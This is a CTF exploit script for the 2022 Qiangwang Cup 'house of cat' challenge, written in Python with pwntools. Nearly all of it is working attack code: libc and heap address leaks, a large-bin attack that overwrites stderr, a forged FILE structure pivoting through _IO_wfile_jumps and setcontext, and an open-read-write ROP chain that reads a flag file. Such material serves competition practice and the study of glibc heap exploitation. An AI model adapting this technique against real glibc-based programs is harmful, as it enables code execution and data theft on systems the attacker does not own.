2022强网杯house of cat

exp

from pwn import *
context.log_level='debug'
context.arch='amd64'
r=process('./cat')
elf=ELF('./cat')
libc=elf.libc

r.sendafter('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')

def info(a,b):
    log.info("\033[0;33;40m"+a+hex(b)+'\033[0m')

def add(idx,size,cont):
    r.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    r.sendlineafter('plz input your cat choice:\n','1')
    r.sendlineafter('plz input your cat idx:\n',str(idx))
    r.sendlineafter('plz input your cat size:\n',str(size))
    r.sendafter('plz input your content:\n',cont)

def delete(idx):
    r.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    r.sendlineafter('plz input your cat choice:\n', '2')
    r.sendlineafter('plz input your cat idx:\n',str(idx))

def show(idx):
    r.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    r.sendlineafter('plz input your cat choice:\n', '3')
    r.sendlineafter('plz input your cat idx:\n',str(idx))

def edit(idx,cont):
    r.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    r.sendlineafter('plz input your cat choice:\n', '4')
    r.sendlineafter('plz input your cat idx:\n',str(idx))
    r.sendafter('plz input your content:\n', cont)

add(0,0x420,'aaa')
add(1,0x430,'bbb')
add(2,0x418,'ccc')#use
delete(0)
add(3,0x440,'ddd')
show(0)
leak_libc=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("leak_libc-->",leak_libc)
libc_base=leak_libc-0x21a0d0
info("libc_base-->",libc_base)
r.recv(10)
leak_heap=u64(r.recv(6).ljust(8,b'\x00'))
info("leak_heap-->",leak_heap)
heap_base=leak_heap-0x290
info("heap_base-->",heap_base)

_IO_lock=heap_base+0x200
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
ret=libc_base+0x0000000000029cd6
pop_rax=libc_base+0x0000000000045eb0
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
syscall_ret=libc_base+0x00000000000EC0B9
_IO_wfile_jumps=libc_base+0x2160d0
flag_addr=heap_base+0x17d0

data = {
    0x0:{
        0x30:[
            1,
            2,
            heap_base+0xbb0,
            setcontext+61
        ],
        0x58:0,
        0x78:heap_base+0x200,
        0x90:heap_base+0xb30,
        0xb0:1,
        0xc8:_IO_wfile_jumps,
        0xd0:{
            0x30:heap_base+0xb40,
            0x70:heap_base+0x2050,
            0x78:ret
        }
    }
}

delete(2)
add(4,0x418,flat(data))
delete(4)
edit(0,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x290)+p64(stderr-0x20))
add(5,0x440,'aaa')
add(6,0x430,'./flag\x00\x00')
add(7,0x430,'eee')

orw=p64(pop_rdi)+p64(0)+p64(close)
orw+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)
orw+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(write)

add(8,0x430,orw)
delete(5)
add(9,0x450,'aaa')
delete(7)
edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+0x3))
r.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
r.sendlineafter('plz input your cat choice:\n','1')
r.sendlineafter('plz input your cat idx:',str(11))
gdb.attach(r)
r.sendlineafter('plz input your cat size:',str(0x450))
r.interactive()

动态调试